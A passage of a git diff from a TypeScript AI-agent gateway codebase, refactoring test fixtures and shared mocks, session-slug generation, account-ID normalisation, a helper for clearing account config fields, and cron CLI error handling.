"toolUse", + timestamp: 1, + }), { role: "toolResult", toolCallId: "call_1", diff --git a/src/agents/pi-embedded-runner/tool-result-truncation.test.ts b/src/agents/pi-embedded-runner/tool-result-truncation.test.ts index 8b4fbb628c6..2dce36ed076 100644 --- a/src/agents/pi-embedded-runner/tool-result-truncation.test.ts +++ b/src/agents/pi-embedded-runner/tool-result-truncation.test.ts @@ -1,6 +1,7 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; import type { AssistantMessage, ToolResultMessage, UserMessage } from "@mariozechner/pi-ai"; import { describe, expect, it } from "vitest"; +import { makeAgentAssistantMessage } from "../test-helpers/agent-message-fixtures.js"; import { truncateToolResultText, truncateToolResultMessage, @@ -35,23 +36,12 @@ function makeUserMessage(text: string): UserMessage { } function makeAssistantMessage(text: string): AssistantMessage { - return { - role: "assistant", + return makeAgentAssistantMessage({ content: [{ type: "text", text }], - api: "openai-responses", - provider: "openai", model: "gpt-5.2", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, stopReason: "stop", timestamp: nextTimestamp(), - }; + }); } describe("truncateToolResultText", () => { diff --git a/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts b/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts index 4fa66fb516f..927694d06b1 100644 --- a/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts +++ b/src/agents/pi-tool-definition-adapter.after-tool-call.fires-once.test.ts @@ -9,6 +9,7 @@ import type { AgentTool } from "@mariozechner/pi-agent-core"; import { Type } from "@sinclair/typebox"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; +import { createBaseToolHandlerState } from "./pi-tool-handler-state.test-helpers.js"; const hookMocks = vi.hoisted(() => ({ runner: { @@ -75,17 +76,7 @@ function createToolHandlerCtx() { hookRunner: hookMocks.runner, state: { toolMetaById: new Map(), - toolMetas: [] as Array<{ toolName?: string; meta?: string }>, - toolSummaryById: new Set(), - lastToolError: undefined, - pendingMessagingTexts: new Map(), - pendingMessagingTargets: new Map(), - pendingMessagingMediaUrls: new Map(), - messagingToolSentTexts: [] as string[], - messagingToolSentTextsNormalized: [] as string[], - messagingToolSentMediaUrls: [] as string[], - messagingToolSentTargets: [] as unknown[], - blockBuffer: "", + ...createBaseToolHandlerState(), successfulCronAdds: 0, }, log: { debug: vi.fn(), warn: vi.fn() }, @@ -247,7 +238,10 @@ describe("after_tool_call fires exactly once in embedded runs", () => { result: { content: [{ type: "text", text: "ok" }] }, }); - expect(beforeToolCallMocks.consumeAdjustedParamsForToolCall).toHaveBeenCalledWith(toolCallId); + expect(beforeToolCallMocks.consumeAdjustedParamsForToolCall).toHaveBeenCalledWith( + toolCallId, + "integration-test", + ); const event = (hookMocks.runner.runAfterToolCall as ReturnType).mock .calls[0]?.[0] as { params?: unknown } | undefined; expect(event?.params).toEqual(adjusted); diff --git a/src/agents/pi-tool-handler-state.test-helpers.ts b/src/agents/pi-tool-handler-state.test-helpers.ts new file mode 100644 index 00000000000..0775299ab83 --- /dev/null +++ b/src/agents/pi-tool-handler-state.test-helpers.ts @@ -0,0 +1,15 @@ +export function createBaseToolHandlerState() { + return { + toolMetas: [] as Array<{ toolName?: string; meta?: string }>, + toolSummaryById: new Set(), + lastToolError: undefined, + pendingMessagingTexts: new Map(), + pendingMessagingTargets: new Map(), + pendingMessagingMediaUrls: new Map(), + messagingToolSentTexts: [] as string[], + messagingToolSentTextsNormalized: [] as string[], + messagingToolSentMediaUrls: [] as string[], + messagingToolSentTargets: [] as unknown[], + blockBuffer: "", + }; +} diff --git a/src/agents/session-slug.ts b/src/agents/session-slug.ts index c15c9746e79..0aee27a344b 100644 --- a/src/agents/session-slug.ts +++ b/src/agents/session-slug.ts @@ -112,10 +112,12 @@ function createSlugBase(words = 2) { return parts.join("-"); } -export function createSessionSlug(isTaken?: (id: string) => boolean): string { - const isIdTaken = isTaken ?? (() => false); +function createAvailableSlug( + words: number, + isIdTaken: (id: string) => boolean, +): string | undefined { for (let attempt = 0; attempt < 12; attempt += 1) { - const base = createSlugBase(2); + const base = createSlugBase(words); if (!isIdTaken(base)) { return base; } @@ -126,17 +128,18 @@ export function createSessionSlug(isTaken?: (id: string) => boolean): string { } } } - for (let attempt = 0; attempt < 12; attempt += 1) { - const base = createSlugBase(3); - if (!isIdTaken(base)) { - return base; - } - for (let i = 2; i <= 12; i += 1) { - const candidate = `${base}-${i}`; - if (!isIdTaken(candidate)) { - return candidate; - } - } + return undefined; +} + +export function createSessionSlug(isTaken?: (id: string) => boolean): string { + const isIdTaken = isTaken ?? (() => false); + const twoWord = createAvailableSlug(2, isIdTaken); + if (twoWord) { + return twoWord; + } + const threeWord = createAvailableSlug(3, isIdTaken); + if (threeWord) { + return threeWord; } const fallback = `${createSlugBase(3)}-${Math.random().toString(36).slice(2, 5)}`; return isIdTaken(fallback) ? `${fallback}-${Date.now().toString(36)}` : fallback; diff --git a/src/agents/skills/frontmatter.ts b/src/agents/skills/frontmatter.ts index dd82a7f73d5..43dc35aa578 100644 --- a/src/agents/skills/frontmatter.ts +++ b/src/agents/skills/frontmatter.ts @@ -2,6 +2,7 @@ import type { Skill } from "@mariozechner/pi-coding-agent"; import { validateRegistryNpmSpec } from "../../infra/npm-registry-spec.js"; import { parseFrontmatterBlock } from "../../markdown/frontmatter.js"; import { + applyOpenClawManifestInstallCommonFields, getFrontmatterString, normalizeStringList, parseOpenClawManifestInstallBase, @@ -113,19 +114,12 @@ function parseInstallSpec(input: unknown): SkillInstallSpec | undefined { return undefined; } const { raw } = parsed; - const spec: SkillInstallSpec = { - kind: parsed.kind as SkillInstallSpec["kind"], - }; - - if (parsed.id) { - spec.id = parsed.id; - } - if (parsed.label) { - spec.label = parsed.label; - } - if (parsed.bins) { - spec.bins = parsed.bins; - } + const spec = applyOpenClawManifestInstallCommonFields( + { + kind: parsed.kind as SkillInstallSpec["kind"], + }, + parsed, + ); const osList = normalizeStringList(raw.os); if (osList.length > 0) { spec.os = osList; diff --git a/src/agents/test-helpers/agent-message-fixtures.ts b/src/agents/test-helpers/agent-message-fixtures.ts index 455487e8c59..040be7f1dd8 100644 --- a/src/agents/test-helpers/agent-message-fixtures.ts +++ b/src/agents/test-helpers/agent-message-fixtures.ts @@ -1,20 +1,6 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; -import type { AssistantMessage, ToolResultMessage, Usage, UserMessage } from "@mariozechner/pi-ai"; - -const ZERO_USAGE: Usage = { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, -}; +import type { AssistantMessage, ToolResultMessage, UserMessage } from "@mariozechner/pi-ai"; +import { ZERO_USAGE_FIXTURE } from "./usage-fixtures.js"; export function castAgentMessage(message: unknown): AgentMessage { return message as AgentMessage; @@ -42,7 +28,7 @@ export function makeAgentAssistantMessage( api: "openai-responses", provider: "openai", model: "test-model", - usage: ZERO_USAGE, + usage: ZERO_USAGE_FIXTURE, stopReason: "stop", timestamp: 0, ...overrides, diff --git a/src/agents/test-helpers/assistant-message-fixtures.ts b/src/agents/test-helpers/assistant-message-fixtures.ts index edf26770b77..72606a245ad 100644 --- a/src/agents/test-helpers/assistant-message-fixtures.ts +++ b/src/agents/test-helpers/assistant-message-fixtures.ts @@ -1,19 +1,5 @@ import type { AssistantMessage } from "@mariozechner/pi-ai"; - -const ZERO_USAGE: AssistantMessage["usage"] = { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, -}; +import { ZERO_USAGE_FIXTURE } from "./usage-fixtures.js"; export function makeAssistantMessageFixture( overrides: Partial = {}, @@ -24,7 +10,7 @@ export function makeAssistantMessageFixture( api: "openai-responses", provider: "openai", model: "test-model", - usage: ZERO_USAGE, + usage: ZERO_USAGE_FIXTURE, timestamp: 0, stopReason: "error", errorMessage: errorText, diff --git a/src/agents/test-helpers/usage-fixtures.ts b/src/agents/test-helpers/usage-fixtures.ts new file mode 100644 index 00000000000..5b292290c30 --- /dev/null +++ b/src/agents/test-helpers/usage-fixtures.ts @@ -0,0 +1,16 @@ +import type { Usage } from "@mariozechner/pi-ai"; + +export const ZERO_USAGE_FIXTURE: Usage = { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + total: 0, + }, +}; diff --git a/src/agents/trace-base.ts b/src/agents/trace-base.ts new file mode 100644 index 00000000000..5b6ecefac77 --- /dev/null +++ b/src/agents/trace-base.ts @@ -0,0 +1,21 @@ +export type AgentTraceBase = { + runId?: string; + sessionId?: string; + sessionKey?: string; + provider?: string; + modelId?: string; + modelApi?: string | null; + workspaceDir?: string; +}; + +export function buildAgentTraceBase(params: AgentTraceBase): AgentTraceBase { + return { + runId: params.runId, + sessionId: params.sessionId, + sessionKey: params.sessionKey, + provider: params.provider, + modelId: params.modelId, + modelApi: params.modelApi, + workspaceDir: params.workspaceDir, + }; +} diff --git a/src/auto-reply/reply/get-reply.message-hooks.test.ts b/src/auto-reply/reply/get-reply.message-hooks.test.ts index c10604a9fd2..90ccab2a207 100644 --- a/src/auto-reply/reply/get-reply.message-hooks.test.ts +++ b/src/auto-reply/reply/get-reply.message-hooks.test.ts @@ -1,5 +1,6 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { MsgContext } from "../templating.js"; +import { registerGetReplyCommonMocks } from "./get-reply.test-mocks.js"; const mocks = vi.hoisted(() => ({ applyMediaUnderstanding: vi.fn(async (..._args: unknown[]) => undefined), @@ -10,28 +11,8 @@ const mocks = vi.hoisted(() => ({ initSessionState: vi.fn(), })); -vi.mock("../../agents/agent-scope.js", () => ({ - resolveAgentDir: vi.fn(() => "/tmp/agent"), - resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), - resolveSessionAgentId: vi.fn(() => "main"), - resolveAgentSkillsFilter: vi.fn(() => undefined), -})); -vi.mock("../../agents/model-selection.js", () => ({ - resolveModelRefFromString: vi.fn(() => null), -})); -vi.mock("../../agents/timeout.js", () => ({ - resolveAgentTimeoutMs: vi.fn(() => 60000), -})); -vi.mock("../../agents/workspace.js", () => ({ - DEFAULT_AGENT_WORKSPACE_DIR: "/tmp/workspace", - ensureAgentWorkspace: vi.fn(async () => ({ dir: "/tmp/workspace" })), -})); -vi.mock("../../channels/model-overrides.js", () => ({ - resolveChannelModelOverride: vi.fn(() => undefined), -})); -vi.mock("../../config/config.js", () => ({ - loadConfig: vi.fn(() => ({})), -})); +registerGetReplyCommonMocks(); + vi.mock("../../globals.js", () => ({ logVerbose: vi.fn(), })); @@ -45,55 +26,18 @@ vi.mock("../../link-understanding/apply.js", () => ({ vi.mock("../../media-understanding/apply.js", () => ({ applyMediaUnderstanding: mocks.applyMediaUnderstanding, })); -vi.mock("../../runtime.js", () => ({ - defaultRuntime: { log: vi.fn() }, -})); -vi.mock("../command-auth.js", () => ({ - resolveCommandAuthorization: vi.fn(() => ({ isAuthorizedSender: true })), -})); vi.mock("./commands-core.js", () => ({ emitResetCommandHooks: vi.fn(async () => undefined), })); -vi.mock("./directive-handling.js", () => ({ - resolveDefaultModel: vi.fn(() => ({ - defaultProvider: "openai", - defaultModel: "gpt-4o-mini", - aliasIndex: new Map(), - })), -})); vi.mock("./get-reply-directives.js", () => ({ resolveReplyDirectives: mocks.resolveReplyDirectives, })); vi.mock("./get-reply-inline-actions.js", () => ({ handleInlineActions: vi.fn(async () => ({ kind: "reply", reply: { text: "ok" } })), })); -vi.mock("./get-reply-run.js", () => ({ - runPreparedReply: vi.fn(async () => undefined), -})); -vi.mock("./inbound-context.js", () => ({ - finalizeInboundContext: vi.fn((ctx: unknown) => ctx), -})); -vi.mock("./session-reset-model.js", () => ({ - applyResetModelOverride: vi.fn(async () => undefined), -})); vi.mock("./session.js", () => ({ initSessionState: mocks.initSessionState, })); -vi.mock("./stage-sandbox-media.js", () => ({ - stageSandboxMedia: vi.fn(async () => undefined), -})); -vi.mock("./typing.js", () => ({ - createTypingController: vi.fn(() => ({ - onReplyStart: async () => undefined, - startTypingLoop: async () => undefined, - startTypingOnText: async () => undefined, - refreshTypingTtl: () => undefined, - isActive: () => false, - markRunComplete: () => undefined, - markDispatchIdle: () => undefined, - cleanup: () => undefined, - })), -})); const { getReplyFromConfig } = await import("./get-reply.js"); diff --git a/src/auto-reply/reply/get-reply.reset-hooks-fallback.test.ts b/src/auto-reply/reply/get-reply.reset-hooks-fallback.test.ts index 7b5869a5801..110b46af476 100644 --- a/src/auto-reply/reply/get-reply.reset-hooks-fallback.test.ts +++ b/src/auto-reply/reply/get-reply.reset-hooks-fallback.test.ts @@ -1,5 +1,6 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { MsgContext } from "../templating.js"; +import { registerGetReplyCommonMocks } from "./get-reply.test-mocks.js"; const mocks = vi.hoisted(() => ({ resolveReplyDirectives: vi.fn(), @@ -8,83 +9,26 @@ const mocks = vi.hoisted(() => ({ initSessionState: vi.fn(), })); -vi.mock("../../agents/agent-scope.js", () => ({ - resolveAgentDir: vi.fn(() => "/tmp/agent"), - resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), - resolveSessionAgentId: vi.fn(() => "main"), - resolveAgentSkillsFilter: vi.fn(() => undefined), -})); -vi.mock("../../agents/model-selection.js", () => ({ - resolveModelRefFromString: vi.fn(() => null), -})); -vi.mock("../../agents/timeout.js", () => ({ - resolveAgentTimeoutMs: vi.fn(() => 60000), -})); -vi.mock("../../agents/workspace.js", () => ({ - DEFAULT_AGENT_WORKSPACE_DIR: "/tmp/workspace", - ensureAgentWorkspace: vi.fn(async () => ({ dir: "/tmp/workspace" })), -})); -vi.mock("../../channels/model-overrides.js", () => ({ - resolveChannelModelOverride: vi.fn(() => undefined), -})); -vi.mock("../../config/config.js", () => ({ - loadConfig: vi.fn(() => ({})), -})); +registerGetReplyCommonMocks(); + vi.mock("../../link-understanding/apply.js", () => ({ applyLinkUnderstanding: vi.fn(async () => undefined), })); vi.mock("../../media-understanding/apply.js", () => ({ applyMediaUnderstanding: vi.fn(async () => undefined), })); -vi.mock("../../runtime.js", () => ({ - defaultRuntime: { log: vi.fn() }, -})); -vi.mock("../command-auth.js", () => ({ - resolveCommandAuthorization: vi.fn(() => ({ isAuthorizedSender: true })), -})); vi.mock("./commands-core.js", () => ({ emitResetCommandHooks: (...args: unknown[]) => mocks.emitResetCommandHooks(...args), })); -vi.mock("./directive-handling.js", () => ({ - resolveDefaultModel: vi.fn(() => ({ - defaultProvider: "openai", - defaultModel: "gpt-4o-mini", - aliasIndex: new Map(), - })), -})); vi.mock("./get-reply-directives.js", () => ({ resolveReplyDirectives: (...args: unknown[]) => mocks.resolveReplyDirectives(...args), })); vi.mock("./get-reply-inline-actions.js", () => ({ handleInlineActions: (...args: unknown[]) => mocks.handleInlineActions(...args), })); -vi.mock("./get-reply-run.js", () => ({ - runPreparedReply: vi.fn(async () => undefined), -})); -vi.mock("./inbound-context.js", () => ({ - finalizeInboundContext: vi.fn((ctx: unknown) => ctx), -})); -vi.mock("./session-reset-model.js", () => ({ - applyResetModelOverride: vi.fn(async () => undefined), -})); vi.mock("./session.js", () => ({ initSessionState: (...args: unknown[]) => mocks.initSessionState(...args), })); -vi.mock("./stage-sandbox-media.js", () => ({ - stageSandboxMedia: vi.fn(async () => undefined), -})); -vi.mock("./typing.js", () => ({ - createTypingController: vi.fn(() => ({ - onReplyStart: async () => undefined, - startTypingLoop: async () => undefined, - startTypingOnText: async () => undefined, - refreshTypingTtl: () => undefined, - isActive: () => false, - markRunComplete: () => undefined, - markDispatchIdle: () => undefined, - cleanup: () => undefined, - })), -})); const { getReplyFromConfig } = await import("./get-reply.js"); diff --git a/src/auto-reply/reply/get-reply.test-mocks.ts b/src/auto-reply/reply/get-reply.test-mocks.ts new file mode 100644 index 00000000000..8a73dea7cff --- /dev/null +++ b/src/auto-reply/reply/get-reply.test-mocks.ts @@ -0,0 +1,63 @@ +import { vi } from "vitest"; + +export function registerGetReplyCommonMocks(): void { + vi.mock("../../agents/agent-scope.js", () => ({ + resolveAgentDir: vi.fn(() => "/tmp/agent"), + resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), + resolveSessionAgentId: vi.fn(() => "main"), + resolveAgentSkillsFilter: vi.fn(() => undefined), + })); + vi.mock("../../agents/model-selection.js", () => ({ + resolveModelRefFromString: vi.fn(() => null), + })); + vi.mock("../../agents/timeout.js", () => ({ + resolveAgentTimeoutMs: vi.fn(() => 60000), + })); + vi.mock("../../agents/workspace.js", () => ({ + DEFAULT_AGENT_WORKSPACE_DIR: "/tmp/workspace", + ensureAgentWorkspace: vi.fn(async () => ({ dir: "/tmp/workspace" })), + })); + vi.mock("../../channels/model-overrides.js", () => ({ + resolveChannelModelOverride: vi.fn(() => undefined), + })); + vi.mock("../../config/config.js", () => ({ + loadConfig: vi.fn(() => ({})), + })); + vi.mock("../../runtime.js", () => ({ + defaultRuntime: { log: vi.fn() }, + })); + vi.mock("../command-auth.js", () => ({ + resolveCommandAuthorization: vi.fn(() => ({ isAuthorizedSender: true })), + })); + vi.mock("./directive-handling.js", () => ({ + resolveDefaultModel: vi.fn(() => ({ + defaultProvider: "openai", + defaultModel: "gpt-4o-mini", + aliasIndex: new Map(), + })), + })); + vi.mock("./get-reply-run.js", () => ({ + runPreparedReply: vi.fn(async () => undefined), + })); + vi.mock("./inbound-context.js", () => ({ + finalizeInboundContext: vi.fn((ctx: unknown) => ctx), + })); + vi.mock("./session-reset-model.js", () => ({ + applyResetModelOverride: vi.fn(async () => undefined), + })); + vi.mock("./stage-sandbox-media.js", () => ({ + stageSandboxMedia: vi.fn(async () => undefined), + })); + vi.mock("./typing.js", () => ({ + createTypingController: vi.fn(() => ({ + onReplyStart: async () => undefined, + startTypingLoop: async () => undefined, + startTypingOnText: async () => undefined, + refreshTypingTtl: () => undefined, + isActive: () => false, + markRunComplete: () => undefined, + markDispatchIdle: () => undefined, + cleanup: () => undefined, + })), + })); +} diff --git a/src/channels/plugins/account-helpers.test.ts b/src/channels/plugins/account-helpers.test.ts index eeddae81e17..9a7a67cf652 100644 --- a/src/channels/plugins/account-helpers.test.ts +++ b/src/channels/plugins/account-helpers.test.ts @@ -1,5 +1,6 @@ import { describe, expect, it } from "vitest"; import type { OpenClawConfig } from "../../config/config.js"; +import { normalizeAccountId } from "../../routing/session-key.js"; import { createAccountListHelpers } from "./account-helpers.js"; const { listConfiguredAccountIds, listAccountIds, resolveDefaultAccountId } = @@ -52,6 +53,22 @@ describe("createAccountListHelpers", () => { }); }); + describe("with normalizeAccountId option", () => { + const normalized = createAccountListHelpers("testchannel", { normalizeAccountId }); + + it("normalizes and deduplicates configured account ids", () => { + expect( + normalized.listConfiguredAccountIds( + cfg({ + "Router D": {}, + "router-d": {}, + "Personal A": {}, + }), + ), + ).toEqual(["router-d", "personal-a"]); + }); + }); + describe("listAccountIds", () => { it('returns ["default"] for empty config', () => { expect(listAccountIds({} as OpenClawConfig)).toEqual(["default"]); diff --git a/src/channels/plugins/account-helpers.ts b/src/channels/plugins/account-helpers.ts index 1a86648ab5e..7f72b5e3c55 100644 --- a/src/channels/plugins/account-helpers.ts +++ b/src/channels/plugins/account-helpers.ts @@ -5,7 +5,10 @@ import { normalizeOptionalAccountId, } from "../../routing/session-key.js"; -export function createAccountListHelpers(channelKey: string) { +export function createAccountListHelpers( + channelKey: string, + options?: { normalizeAccountId?: (id: string) => string }, +) { function resolveConfiguredDefaultAccountId(cfg: OpenClawConfig): string | undefined { const channel = cfg.channels?.[channelKey] as Record | undefined; const preferred = normalizeOptionalAccountId( @@ -27,7 +30,12 @@ export function createAccountListHelpers(channelKey: string) { if (!accounts || typeof accounts !== "object") { return []; } - return Object.keys(accounts as Record).filter(Boolean); + const ids = Object.keys(accounts as Record).filter(Boolean); + const normalizeConfiguredAccountId = options?.normalizeAccountId; + if (!normalizeConfiguredAccountId) { + return ids; + } + return [...new Set(ids.map((id) => normalizeConfiguredAccountId(id)).filter(Boolean))]; } function listAccountIds(cfg: OpenClawConfig): string[] { diff --git a/src/channels/plugins/config-helpers.test.ts b/src/channels/plugins/config-helpers.test.ts new file mode 100644 index 00000000000..2f29b3f8ef9 --- /dev/null +++ b/src/channels/plugins/config-helpers.test.ts @@ -0,0 +1,110 @@ +import { describe, expect, it } from "vitest"; +import { clearAccountEntryFields } from "./config-helpers.js"; + +describe("clearAccountEntryFields", () => { + it("clears configured values and removes empty account entries", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + botToken: "abc123", + }, + }, + accountId: "default", + fields: ["botToken"], + }); + + expect(result).toEqual({ + nextAccounts: undefined, + changed: true, + cleared: true, + }); + }); + + it("treats empty string values as not configured by default", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + botToken: " ", + }, + }, + accountId: "default", + fields: ["botToken"], + }); + + expect(result).toEqual({ + nextAccounts: undefined, + changed: true, + cleared: false, + }); + }); + + it("can mark cleared when fields are present even if values are empty", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + tokenFile: "", + }, + }, + accountId: "default", + fields: ["tokenFile"], + markClearedOnFieldPresence: true, + }); + + expect(result).toEqual({ + nextAccounts: undefined, + changed: true, + cleared: true, + }); + }); + + it("keeps other account fields intact", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + botToken: "abc123", + name: "Primary", + }, + backup: { + botToken: "keep", + }, + }, + accountId: "default", + fields: ["botToken"], + }); + + expect(result).toEqual({ + nextAccounts: { + default: { + name: "Primary", + }, + backup: { + botToken: "keep", + }, + }, + changed: true, + cleared: true, + }); + }); + + it("returns unchanged when account entry is missing", () => { + const result = clearAccountEntryFields({ + accounts: { + default: { + botToken: "abc123", + }, + }, + accountId: "other", + fields: ["botToken"], + }); + + expect(result).toEqual({ + nextAccounts: { + default: { + botToken: "abc123", + }, + }, + changed: false, + cleared: false, + }); + }); +}); diff --git a/src/channels/plugins/config-helpers.ts b/src/channels/plugins/config-helpers.ts index ebf6f18a510..e37ea289fa8 100644 --- a/src/channels/plugins/config-helpers.ts +++ b/src/channels/plugins/config-helpers.ts @@ -6,6 +6,13 @@ type ChannelSection = { enabled?: boolean; }; +function isConfiguredSecretValue(value: unknown): boolean { + if (typeof value === "string") { + return value.trim().length > 0; + } + return Boolean(value); +} + export function setAccountEnabledInConfigSection(params: { cfg: OpenClawConfig; sectionKey: string; @@ -111,3 +118,58 @@ export function deleteAccountFromConfigSection(params: { } return nextCfg; } + +export function clearAccountEntryFields(params: { + accounts?: Record; + accountId: string; + fields: string[]; + isValueSet?: (value: unknown) => boolean; + markClearedOnFieldPresence?: boolean; +}): { + nextAccounts?: Record; + changed: boolean; + cleared: boolean; +} { + const accountKey = params.accountId || DEFAULT_ACCOUNT_ID; + const baseAccounts = + params.accounts && typeof params.accounts === "object" ? { ...params.accounts } : undefined; + if (!baseAccounts || !(accountKey in baseAccounts)) { + return { nextAccounts: baseAccounts, changed: false, cleared: false }; + } + + const entry = baseAccounts[accountKey]; + if (!entry || typeof entry !== "object") { + return { nextAccounts: baseAccounts, changed: false, cleared: false }; + } + + const nextEntry = { ...(entry as Record) }; + const hasAnyField = params.fields.some((field) => field in nextEntry); + if (!hasAnyField) { + return { nextAccounts: baseAccounts, changed: false, cleared: false }; + } + + const isValueSet = params.isValueSet ?? isConfiguredSecretValue; + let cleared = Boolean(params.markClearedOnFieldPresence); + for (const field of params.fields) { + if (!(field in nextEntry)) { + continue; + } + if (isValueSet(nextEntry[field])) { + cleared = true; + } + delete nextEntry[field]; + } + + if (Object.keys(nextEntry).length === 0) { + delete baseAccounts[accountKey]; + } else { + baseAccounts[accountKey] = nextEntry as TAccountEntry; + } + + const nextAccounts = Object.keys(baseAccounts).length > 0 ? baseAccounts : undefined; + return { + nextAccounts, + changed: true, + cleared, + }; +} diff --git a/src/cli/cron-cli/register.cron-add.ts b/src/cli/cron-cli/register.cron-add.ts index 4316ec06c36..05025dc05e6 100644 --- a/src/cli/cron-cli/register.cron-add.ts +++ b/src/cli/cron-cli/register.cron-add.ts @@ -1,6 +1,5 @@ import type { Command } from "commander"; import type { CronJob } from "../../cron/types.js"; -import { danger } from "../../globals.js"; import { sanitizeAgentId } from "../../routing/session-key.js"; import { defaultRuntime } from "../../runtime.js"; import type { GatewayRpcOpts } from "../gateway-rpc.js"; @@ -8,9 +7,11 @@ import { addGatewayClientOptions, callGatewayFromCli } from "../gateway-rpc.js"; import { parsePositiveIntOrUndefined } from "../program/helpers.js"; import { getCronChannelOptions, + handleCronCliError, parseAt, parseCronStaggerMs, parseDurationMs, + printCronJson, printCronList, warnIfCronSchedulerDisabled, } from "./shared.js"; @@ -24,10 +25,9 @@ export function registerCronStatusCommand(cron: Command) { .action(async (opts) => { try { const res = await callGatewayFromCli("cron.status", opts, {}); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -46,14 +46,13 @@ export function registerCronListCommand(cron: Command) { includeDisabled: Boolean(opts.all), }); if (opts.json) { - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); return; } const jobs = (res as { jobs?: CronJob[] } | null)?.jobs ?? []; printCronList(jobs, defaultRuntime); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -273,11 +272,10 @@ export function registerCronAddCommand(cron: Command) { }; const res = await callGatewayFromCli("cron.add", opts, params); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); await warnIfCronSchedulerDisabled(opts); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); diff --git a/src/cli/cron-cli/register.cron-simple.ts b/src/cli/cron-cli/register.cron-simple.ts index b1929b6384e..ae05ff1fa69 100644 --- a/src/cli/cron-cli/register.cron-simple.ts +++ b/src/cli/cron-cli/register.cron-simple.ts @@ -1,8 +1,7 @@ import type { Command } from "commander"; -import { danger } from "../../globals.js"; import { defaultRuntime } from "../../runtime.js"; import { addGatewayClientOptions, callGatewayFromCli } from "../gateway-rpc.js"; -import { warnIfCronSchedulerDisabled } from "./shared.js"; +import { handleCronCliError, printCronJson, warnIfCronSchedulerDisabled } from "./shared.js"; function registerCronToggleCommand(params: { cron: Command; @@ -21,11 +20,10 @@ function registerCronToggleCommand(params: { id, patch: { enabled: params.enabled }, }); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); await warnIfCronSchedulerDisabled(opts); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -43,10 +41,9 @@ export function registerCronSimpleCommands(cron: Command) { .action(async (id, opts) => { try { const res = await callGatewayFromCli("cron.remove", opts, { id }); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -79,10 +76,9 @@ export function registerCronSimpleCommands(cron: Command) { id, limit, }); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -102,12 +98,11 @@ export function registerCronSimpleCommands(cron: Command) { id, mode: opts.due ? "due" : "force", }); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); const result = res as { ok?: boolean; ran?: boolean } | undefined; defaultRuntime.exit(result?.ok && result?.ran ? 0 : 1); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); diff --git a/src/cli/cron-cli/shared.ts b/src/cli/cron-cli/shared.ts index 5b9290fe858..d3601b6ce40 100644 --- a/src/cli/cron-cli/shared.ts +++ b/src/cli/cron-cli/shared.ts @@ -2,6 +2,7 @@ import { listChannelPlugins } from "../../channels/plugins/index.js"; import { parseAbsoluteTimeMs } from "../../cron/parse.js"; import { resolveCronStaggerMs } from "../../cron/stagger.js"; import type { CronJob, CronSchedule } from "../../cron/types.js"; +import { danger } from "../../globals.js"; import { formatDurationHuman } from "../../infra/format-time/format-duration.ts"; import { defaultRuntime } from "../../runtime.js"; import { colorize, isRich, theme } from "../../terminal/theme.js"; @@ -11,6 +12,15 @@ import { callGatewayFromCli } from "../gateway-rpc.js"; export const getCronChannelOptions = () => ["last", ...listChannelPlugins().map((plugin) => plugin.id)].join("|"); +export function printCronJson(value: unknown) { + defaultRuntime.log(JSON.stringify(value, null, 2)); +} + +export function handleCronCliError(err: unknown) { + defaultRuntime.error(danger(String(err))); + defaultRuntime.exit(1); +} + export async function warnIfCronSchedulerDisabled(opts: GatewayRpcOpts) { try { const res = (await callGatewayFromCli("cron.status", opts, {})) as { diff --git a/src/cli/memory-cli.test.ts b/src/cli/memory-cli.test.ts index b318ae8e62a..c3aec925eb6 100644 --- a/src/cli/memory-cli.test.ts +++ b/src/cli/memory-cli.test.ts @@ -60,6 +60,8 @@ describe("memory cli", () => { return JSON.parse(String(log.mock.calls[0]?.[0] ?? "null")) as Record; } + const inactiveMemorySecretDiagnostic = "agents.defaults.memorySearch.remote.apiKey inactive"; + function expectCliSync(sync: ReturnType) { expect(sync).toHaveBeenCalledWith( expect.objectContaining({ reason: "cli", force: false, progress: 